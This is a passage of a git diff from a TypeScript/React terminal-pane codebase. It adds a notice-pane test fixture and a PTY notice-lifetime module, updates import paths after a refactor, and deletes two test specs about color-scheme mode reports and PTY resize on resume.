new file mode 100644
index 00000000000..4fc16b2f75b
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/terminal-notice-pane.test-fixture.tsx
@@ -0,0 +1,136 @@
+import { bindPanePtyExit } from '../../pty-connection/lifecycle/pane-pty-exit'
+import type { ConnectPanePtySession } from '../../pty-connection/connect-pane-pty-session'
+import { act, createRef, useImperativeHandle } from 'react'
+import type { Root } from 'react-dom/client'
+import { useAppStore } from '@/store/index'
+import { CodexSharedServerBanner } from './CodexSharedServerBanner'
+import { useTerminalPaneLifecycleRefs } from '../../mounting/use-terminal-pane-lifecycle-refs'
+import {
+  useTerminalPaneLayoutBindings,
+  type TerminalPaneBindingController
+} from '../../layout/ownership/use-terminal-pane-layout-bindings'
+import { cleanupTerminalPaneMount } from '../../mounting/terminal-pane-mount-cleanup'
+import { createTerminalPaneClosedHandler } from '../../mounting/terminal-pane-closed-handler'
+import type { PtyTransport } from '../../pty-transport/pty-transport-types'
+import type { PaneManager } from '@/lib/pane-manager/pane-manager'
+
+export async function renderNoticePaneLifecycle(
+  root: Root,
+  ptyId: string,
+  tabId: string,
+  leafId: string,
+  transport: PtyTransport,
+  worktreeId: string
+) {
+  const transports = new Map([[1, transport]])
+  const managerFixture = {
+    getPanes: () => [{ id: 1, leafId }],
+    getLeafId: () => leafId,
+    getActivePane: () => null,
+    destroy: () => {}
+  }
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Only these manager operations are reached by close and mount cleanup.
+  const manager = managerFixture as unknown as PaneManager
+  const actions = createRef<{ park: () => void; close: () => void }>()
+  function PaneLifecycle() {
+    const refs = useTerminalPaneLifecycleRefs()
+    const state = useAppStore.getState()
+    const partial: Partial<TerminalPaneBindingController> = {
+      tabId,
+      worktreeId,
+      managerRef: { current: manager },
+      paneTransportsRef: { current: transports },
+      panePtyBindingsRef: { current: new Map() },
+      paneMode2031Ref: { current: new Map() },
+      paneKittyKeyboardModesRef: { current: new Map() },
+      paneLastThemeModeRef: { current: new Map() },
+      paneCwdRef: { current: new Map() },
+      replayingPanesRef: refs.replayingPanesRef,
+      paneTitlesRef: { current: {} },
+      containerRef: { current: null },
+      expandedPaneIdRef: { current: null },
+      expandedStyleSnapshotRef: { current: new Map() },
+      pendingPaneSizeRefreshFrameIdsRef: { current: [] },
+      setTabLayout: state.setTabLayout,
+      clearTabPtyId: state.clearTabPtyId,
+      clearRuntimePaneTitle: state.clearRuntimePaneTitle,
+      updateTabTitle: state.updateTabTitle,
+      setTabPaneExpanded: state.setTabPaneExpanded,
+      setTabCanExpandPane: state.setTabCanExpandPane,
+      setPaneTitles: () => {},
+      setRenamingPaneId: () => {},
+      setPaneCount: () => {},
+      setExpandedPaneId: () => {},
+      persistLayoutSnapshot: () => {}
+    }
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: All controller fields used by layout bindings, close and cleanup are supplied.
+    const controller = partial as TerminalPaneBindingController
+    Object.assign(controller, useTerminalPaneLayoutBindings(controller))
+    const context = { deps: controller, refs, deferredSplitHandoffs: new Map() }
+    const closed = createTerminalPaneClosedHandler(
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Closed handler reads only the supplied deps, refs and handoffs.
+      context as unknown as Parameters<typeof createTerminalPaneClosedHandler>[0]
+    )
+    useImperativeHandle(actions, () => ({
+      close: () => closed(1, { leafId, reason: 'close' }),
+      park: () =>
+        cleanupTerminalPaneMount({
+          manager,
+          // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Cleanup reads the supplied lifecycle subset; connection and keyboard callbacks are not reached.
+          deps: controller as unknown as Parameters<typeof cleanupTerminalPaneMount>[0]['deps'],
+          refs,
+          deferredSplitHandoffs: new Map(),
+          expandedStyleSnapshots: new Map(),
+          unregisterRuntimeTab: () => {},
+          cancelResize: () => {}
+        })
+    }))
+    return <CodexSharedServerBanner ptyId={ptyId} tabId={tabId} leafId={leafId} />
+  }
+  await act(async () => root.render(<PaneLifecycle />))
+  if (!actions.current) {
+    throw new Error('Terminal lifecycle did not mount')
+  }
+  return { ...actions.current, transports }
+}
+
+export async function deliverNoticePaneStartupExit(
+  transport: PtyTransport,
+  transports: Map<number, PtyTransport>,
+  ptyId: string,
+  tabId: string,
+  paneKey: string
+) {
+  const state = useAppStore.getState()
+  const session = {
+    pane: { id: 1 },
+    transport: transport,
+    runtimeEnvironmentId: null,
+    manager: { getPanes: () => [{ id: 1 }], setPaneGpuRendering: () => {} },
+    deps: {
+      tabId: tabId,
+      worktreeId: 'wt-1',
+      paneTransportsRef: { current: transports },
+      isPtyShutdownPending: state.isPtyShutdownPending,
+      consumeSuppressedPtyExit: state.consumeSuppressedPtyExit,
+      clearRuntimePaneTitle: state.clearRuntimePaneTitle,
+      clearTabPtyId: state.clearTabPtyId,
+      setCacheTimerStartedAt: state.setCacheTimerStartedAt
+    },
+    processExitStateByPtyId: new Map(),
+    currentProcessExitState: {},
+    cacheKey: paneKey,
+    spawnedFreshPtyId: ptyId,
+    lastTerminalInputAt: Number.NaN,
+    agentCompletionCoordinator: { dispose: () => {} },
+    dropSideEffectFactConsumer: () => {},
+    releaseHiddenRendererPtyDelivery: () => {},
+    clearPanePtyFitBinding: () => {},
+    clearExitedPanePtyLayoutBinding: () => {},
+    resetRendererOrderedSeqForPtyExit: () => {}
+  }
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: All session fields reached by a sole newborn, non-suppressed exit are supplied.
+  const mounted = session as unknown as ConnectPanePtySession
+  bindPanePtyExit(mounted)
+  await act(async () => mounted.onExit(ptyId, 1))
+}
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/codex-settings/codex-shared-settings-notice.ts b/src/renderer/src/components/terminal-pane/provider-notices/codex-settings/codex-shared-settings-notice.ts
index 69071f42a60..4cc97a0ee17 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/codex-settings/codex-shared-settings-notice.ts
+++ b/src/renderer/src/components/terminal-pane/provider-notices/codex-settings/codex-shared-settings-notice.ts
@@ -1,6 +1,6 @@
 import { useCallback, useEffect, useState } from 'react'
 import { useAppStore } from '@/store/index'
-import { isLocalWindowsDesktopClient } from '@/lib/desktop-window-chrome'
+import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome'
 import { whenAgentTerminalAppears } from '../agent-presence/agent-terminal-presence'
 
 /** Whether to show the one-time "Codex now uses ~/.codex" card this session, and its dismiss. */
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/terminal-notice-lifetime.ts b/src/renderer/src/components/terminal-pane/provider-notices/terminal-notice-lifetime.ts
new file mode 100644
index 00000000000..84b447867e9
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/provider-notices/terminal-notice-lifetime.ts
@@ -0,0 +1,89 @@
+export type TerminalNotice = 'claude-old-terminal' | 'codex-shared-server'
+export type TerminalNoticeStart = {
+  paneKey: string
+  generation?: number
+  shown: boolean
+}
+export type TerminalNoticeLifetime = {
+  readonly ptyId: string
+  incarnationId?: string
+  retired: boolean
+  readonly dismissed: Set<TerminalNotice>
+  start?: TerminalNoticeStart
+}
+
+// Notice contributions follow accepted bindings, rather than React panes or evictable buffers.
+const lifetimes = new Map<string, TerminalNoticeLifetime>()
+
+export function getTerminalNoticeLifetime(ptyId: string): TerminalNoticeLifetime | undefined {
+  return lifetimes.get(ptyId)
+}
+
+export function isTerminalNoticeLifetimeCurrent(lifetime: TerminalNoticeLifetime): boolean {
+  return !lifetime.retired && lifetimes.get(lifetime.ptyId) === lifetime
+}
+
+/** Only the current successful fresh/reattach owner may admit a process. */
+export function admitTerminalNoticeLifetime(
+  ptyId: string,
+  options: { incarnationId?: string; fresh?: boolean } = {}
+): TerminalNoticeLifetime {
+  const current = lifetimes.get(ptyId)
+  if (
+    current &&
+    !options.fresh &&
+    (!options.incarnationId ||
+      !current.incarnationId ||
+      options.incarnationId === current.incarnationId)
+  ) {
+    current.incarnationId ??= options.incarnationId
+    return current
+  }
+  if (current) {
+    retireTerminalNoticeLifetime(current)
+  }
+  const lifetime: TerminalNoticeLifetime = {
+    ptyId,
+    ...(options.incarnationId ? { incarnationId: options.incarnationId } : {}),
+    retired: false,
+    dismissed: new Set()
+  }
+  lifetimes.set(ptyId, lifetime)
+  return lifetime
+}
+
+/** Called after current attach/frame acceptance, never by a presentation read. */
+export function admitTerminalNoticeStart(
+  lifetime: TerminalNoticeLifetime,
+  paneKey: string,
+  generation?: number
+): void {
+  if (!isTerminalNoticeLifetimeCurrent(lifetime)) {
+    return
+  }
+  const previous = lifetime.start
+  if (previous) {
+    // Generations belong to a leaf; moving a live process preserves its start.
+    if (previous.paneKey !== paneKey || generation === undefined) {
+      return
+    }
+    if (previous.generation === undefined) {
+      previous.generation = generation
+      return
+    }
+    if (generation <= previous.generation) {
+      return
+    }
+  }
+  lifetime.start = { paneKey, ...(generation !== undefined ? { generation } : {}), shown: false }
+}
+
+/** The canonical owner emits final retirement with the old capture, before its identity is lost. */
+export function retireTerminalNoticeLifetime(lifetime: TerminalNoticeLifetime): void {
+  if (lifetimes.get(lifetime.ptyId) === lifetime) {
+    lifetimes.delete(lifetime.ptyId)
+  }
+  lifetime.retired = true
+  lifetime.dismissed.clear()
+  lifetime.start = undefined
+}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/agent-identity/pane-agent-identity.ts b/src/renderer/src/components/terminal-pane/pty-connection/agent-identity/pane-agent-identity.ts
index ac32c76e52a..1faac50ad67 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/agent-identity/pane-agent-identity.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/agent-identity/pane-agent-identity.ts
@@ -6,7 +6,7 @@ import { CONFIRMED_SHELL_MODE_RESET } from '../../../../../../shared/terminal/pr
 import {
   isLocalNativeWindowsConpty,
   resolveWindowsShellOverride
-} from '@/lib/pane-manager/windows-pty-compatibility'
+} from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
 import { createTerminalCommandLifecycle } from '../../emulation/commands/terminal-command-lifecycle'
 import { createPaneForegroundAgentTracker } from './foreground-process/pane-foreground-agent-tracker'
 import { isRemoteExecutionHostPtyId } from '../../../../../../shared/execution-host/remote-execution-host-pty-id'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/connect-pane-pty.ts b/src/renderer/src/components/terminal-pane/pty-connection/connect-pane-pty.ts
index eda17e99774..511da38e01f 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/connect-pane-pty.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/connect-pane-pty.ts
@@ -7,7 +7,7 @@ import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import { useAppStore } from '@/store'
 import { createPaneWindowsPtyModel } from './geometry/pane-windows-pty-model'
-import { buildTerminalKeyboardProtocolOptions } from '@/lib/pane-manager/terminal-keyboard-protocol'
+import { buildTerminalKeyboardProtocolOptions } from '@/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol'
 import { resolvePaneKeyboardProtocolAgent } from '../input/keyboard/terminal-keyboard-protocol-pane-agent'
 import { TerminalKittyKeyboardModeTracker } from '../../../../../shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker'
 import type { PtyConnectionDeps } from './pty-connection-deps'
@@ -15,8 +15,8 @@ import { registerTerminalPaneRecoveryInstance } from '../render-health/recovery/
 import { captureTabRecoveryGeneration } from '@/store/terminals/terminal-tab-recovery-ledger'
 import { TerminalIdleCursorReset } from '../emulation/terminal-idle-cursor-reset'
 import { TerminalStreamPosition } from '../pty-transport/delivery/terminal-stream-position'
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { createTerminalStructuralReplayCoordinator } from '@/lib/pane-manager/terminal-structural-replay-coordinator'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { createTerminalStructuralReplayCoordinator } from '@/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import type { AgentType } from '../../../../../shared/agent-status/contracts/agent-status-types'
 import { resolveExplicitTerminalTitleAgentType } from '../../../../../shared/agent-status/title/terminal-title-agent-type'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/deferred-cold-restore-and-snapshot.ts b/src/renderer/src/components/terminal-pane/pty-connection/deferred-cold-restore-and-snapshot.ts
index 57e4ffc393c..1a0f8e96a76 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/deferred-cold-restore-and-snapshot.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/deferred-cold-restore-and-snapshot.ts
@@ -2,7 +2,7 @@ import { paneResumeRecord } from './startup/pane-resume-record'
 import { useAppStore } from '@/store/index'
 import type { PtyReplayDataMeta } from '../pty-transport/pty-transport-types'
 import { INITIAL_MODE_2031_REPLY_SCAN_STATE } from '../../../../../shared/terminal/protocol/queries/terminal-color-scheme-protocol'
-import { waitForTerminalOutputParsed } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { waitForTerminalOutputParsed } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import { executeTerminalStartupCommandPaste } from '../input/paste/terminal-startup-command-paste'
 import { resolveTerminalPasteRuntime } from '../input/paste/terminal-paste-runtime'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/emulation/native-windows-pane-policy.ts b/src/renderer/src/components/terminal-pane/pty-connection/emulation/native-windows-pane-policy.ts
index b7d81be037a..ddd8ce0381a 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/emulation/native-windows-pane-policy.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/emulation/native-windows-pane-policy.ts
@@ -2,7 +2,7 @@ import { useAppStore } from '@/store'
 import {
   isLocalNativeWindowsConpty,
   resolveWindowsShellOverride
-} from '@/lib/pane-manager/windows-pty-compatibility'
+} from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
 import { resolveLatestAgentDoneStartedAt } from '../notifications/agent-done-started-at'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-capability-replies.ts b/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-capability-replies.ts
index 936afb4cc1b..d04cd0931ef 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-capability-replies.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-capability-replies.ts
@@ -2,7 +2,7 @@ import { isPtyLocked } from '@/lib/pane-manager/mobile-driver-state'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 import { useAppStore } from '@/store'
 import { isPaneReplaying } from '../../snapshots/replay-guard'
-import { terminalRendersInlineImages } from '@/lib/pane-manager/pane-inline-images'
+import { terminalRendersInlineImages } from '@/lib/pane-manager/terminal-rendering/pane-inline-images'
 import { CONPTY_DA1_RESPONSE } from '../../../../../../shared/conpty-device-attributes'
 import {
   createTerminalPixelSizeQueryResponder,
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-mode-2031-state.ts b/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-mode-2031-state.ts
index a42061ed5f7..9e2e8240785 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-mode-2031-state.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/emulation/pane-mode-2031-state.ts
@@ -1,13 +1,12 @@
-import { useAppStore } from '@/store'
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
+import { useAppStore } from '@/store/index'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import {
   resolveTerminalColorSchemeMode,
   scanMode2031ReplyDecision,
   INITIAL_MODE_2031_REPLY_SCAN_STATE
 } from '../../../../../../shared/terminal/protocol/queries/terminal-color-scheme-protocol'
-import type { ConnectPanePtySession } from '../connect-pane-pty-session'
-
 import { maybePushMode2031Flip } from '../../emulation/terminal-mode-2031-replies'
+import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
 export function bindLivePaneMode2031Observation(session: ConnectPanePtySession): void {
   // DECSET 2031 subscribes silently; late replies paint junk after fish withdraws it (#9993). Scan raw chunks because xterm batching hides per-chunk subscription state.
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode-2031-subscriptions.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode-2031-subscriptions.spec.ts
deleted file mode 100644
index e00f298909f..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode-2031-subscriptions.spec.ts
+++ /dev/null
@@ -1,158 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks } from '../test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-export function registerPtyConnectionMode2031SubscriptionsTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    describe('mode 2031 subscriptions are tracked per raw PTY chunk, never answered', () => {
-      async function connectVisiblePane(): Promise<{
-        transport: ReturnType<typeof createMockTransport>
-        deps: ReturnType<typeof createDeps>
-        emit: (data: string, meta?: { droppedOutput?: boolean }) => void
-        reconnect: () => void
-        dispose: () => void
-      }> {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('pty-id')
-        const captured: {
-          current: ((data: string, meta?: { droppedOutput?: boolean }) => void) | null
-          onConnect?: () => void
-        } = { current: null }
-        transport.connect.mockImplementation(
-          async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-            captured.current = callbacks.onData ?? null
-            captured.onConnect = callbacks.onConnect
-            return 'pty-id'
-          }
-        )
-        transportFactoryQueue.push(transport)
-        mockStoreState = {
-          ...mockStoreState,
-          settings: { ...mockStoreState.settings, theme: 'light' }
-        }
-        const pane = createPane(1)
-        const manager = createManager(1)
-        const deps = createDeps({ isVisibleRef: { current: true } })
-        const binding = connectPanePty(
-          pane as never,
-          manager as never,
-          bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-        )
-        await flushAsyncTicks(6)
-        return {
-          transport,
-          deps,
-          emit: (data: string, meta?: { droppedOutput?: boolean }) =>
-            captured.current?.(data, meta),
-          reconnect: () => captured.onConnect?.(),
-          dispose: () => binding.dispose()
-        }
-      }
-
-      const replies = (transport: { sendInput: { mock: { calls: unknown[][] } } }): unknown[] =>
-        transport.sendInput.mock.calls.flat().filter((arg) => String(arg).includes('997'))
-
-      it('catches a subscribed pane up once per mode change across repeated reconnects', async () => {
-        const { transport, emit, reconnect, dispose } = await connectVisiblePane()
-        emit('\x1b[?2031h')
-        mockStoreState = {
-          ...mockStoreState,
-          settings: { ...mockStoreState.settings, theme: 'dark' }
-        }
-        reconnect()
-        reconnect()
-        mockStoreState = {
-          ...mockStoreState,
-          settings: { ...mockStoreState.settings, theme: 'light' }
-        }
-        reconnect()
-        reconnect()
-        expect(replies(transport)).toEqual(['\x1b[?997;1n', '\x1b[?997;2n'])
-        dispose()
-      })
-
-      it('defers to the viewer holding the grid, then catches up once on release', async () => {
-        const { transport, emit, reconnect, dispose } = await connectVisiblePane()
-        const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-        emit('\x1b[?2031h')
-        setFitOverride('pty-id', 'mobile-fit', 40, 20)
-        mockStoreState = {
-          ...mockStoreState,
-          settings: { ...mockStoreState.settings, theme: 'dark' }
-        }
-        reconnect()
-        expect(replies(transport)).toEqual([])
-        setFitOverride('pty-id', 'desktop-fit', 0, 0)
-        setFitOverride('pty-id', 'desktop-fit', 0, 0)
-        expect(replies(transport)).toEqual(['\x1b[?997;1n'])
-        // A repeated DECSET while held must not cancel the owed report.
-        setFitOverride('pty-id', 'mobile-fit', 40, 20)
-        mockStoreState = {
-          ...mockStoreState,
-          settings: { ...mockStoreState.settings, theme: 'light' }
-        }
-        emit('\x1b[?2031h')
-        setFitOverride('pty-id', 'desktop-fit', 0, 0)
-        expect(replies(transport)).toEqual(['\x1b[?997;1n', '\x1b[?997;2n'])
-        // The holder may have told the program something else, so release re-sends even an unchanged mode.
-        setFitOverride('pty-id', 'remote-desktop-fit', 40, 20)
-        setFitOverride('pty-id', 'desktop-fit', 0, 0)
-        reconnect()
-        expect(replies(transport)).toEqual(['\x1b[?997;1n', '\x1b[?997;2n', '\x1b[?997;2n'])
-        dispose()
-      })
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/foreground-grid-drift-probe.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/foreground-grid-drift-probe.ts
index e28302eb01f..03a310d7716 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/foreground-grid-drift-probe.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/foreground-grid-drift-probe.ts
@@ -1,5 +1,5 @@
 import type { ManagedPaneInternal } from '@/lib/pane-manager/pane-manager-types'
-import { requestStablePaneFit } from '@/lib/pane-manager/pane-fit-resize-observer'
+import { requestStablePaneFit } from '@/lib/pane-manager/terminal-fit/pane-fit-resize-observer'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
 const FOREGROUND_GRID_DRIFT_CHECK_MIN_MS = 250
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-pty-fit-binding.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-pty-fit-binding.ts
index 93867681b13..dca67ed9cce 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-pty-fit-binding.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-pty-fit-binding.ts
@@ -1,6 +1,9 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
-import { bindPanePtyId, getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import {
+  bindPanePtyId,
+  getFitOverrideForPty
+} from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { isPtyLocked } from '@/lib/pane-manager/mobile-driver-state'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-viewport-claim.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-viewport-claim.ts
index 9c5944e7153..3dad9416772 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-viewport-claim.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-viewport-claim.ts
@@ -1,5 +1,8 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { getFitOverrideForPty, onOverrideChange } from '@/lib/pane-manager/mobile-fit-overrides'
+import {
+  getFitOverrideForPty,
+  onOverrideChange
+} from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 import { isPassiveTerminalInputReport } from '../../input/terminal-passive-input-report'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts
index 2250e03e961..5d38e3ed810 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts
@@ -4,7 +4,7 @@ import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import {
   buildWindowsPtyCompatibilityOptions,
   isLocalPtyOwner
-} from '@/lib/pane-manager/windows-pty-compatibility'
+} from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
 import {
   remotePtyOwnerMachinePlatform,
   resolveRemotePtyOwnerMachine,
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-connection-visibility-resume-size.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-connection-visibility-resume-size.spec.ts
deleted file mode 100644
index b4db61bb34a..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-connection-visibility-resume-size.spec.ts
+++ /dev/null
@@ -1,607 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks } from '../test-fixtures/pty-connection-test-async'
-import {
-  LEAF_2,
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-import { mockPanePtyArgs } from '../test-fixtures/pty-connection-test-connect-mock-pane'
-
-export function registerPtyConnectionVisibilityResumeSizeTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    describe('PTY size re-assert on visibility resume', () => {
-      // Why: a resize dropped while hidden leaves xterm and the PTY diverged, and dedupe hides it; resume re-asserts on real drift.
-      async function connectResumablePane(depsOverrides: Record<string, unknown> = {}): Promise<{
-        binding: { noteVisibilityResume: () => void }
-        transport: MockTransport
-        deps: ReturnType<typeof createDeps>
-        pane: ReturnType<typeof createPane>
-      }> {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('pty-pane-2')
-        transportFactoryQueue.push(transport)
-        const manager = createManager(2)
-        const deps = createDeps({
-          restoredLeafId: LEAF_2,
-          paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) },
-          ...depsOverrides
-        })
-        const pane = createPane(2)
-        const binding = connectPanePty(
-          ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks))
-        )
-        return { binding, transport, deps, pane }
-      }
-
-      function installObservedPane(pane: ReturnType<typeof createPane>): {
-        trigger: () => void
-        restore: () => void
-      } {
-        const originalResizeObserver = globalThis.ResizeObserver
-        const originalElement = globalThis.Element
-        const hadResizeObserver = 'ResizeObserver' in globalThis
-        const hadElement = 'Element' in globalThis
-        type ResizeObserverCallbackLike = ConstructorParameters<typeof ResizeObserver>[0]
-        class MockElement extends EventTarget {
-          dataset: Record<string, string> = {}
-          classList = { contains: (className: string) => className === 'pane' }
-
-          querySelectorAll(): MockElement[] {
-            return []
-          }
-        }
-        class MockResizeObserver {
-          static instances: MockResizeObserver[] = []
-          observe = vi.fn()
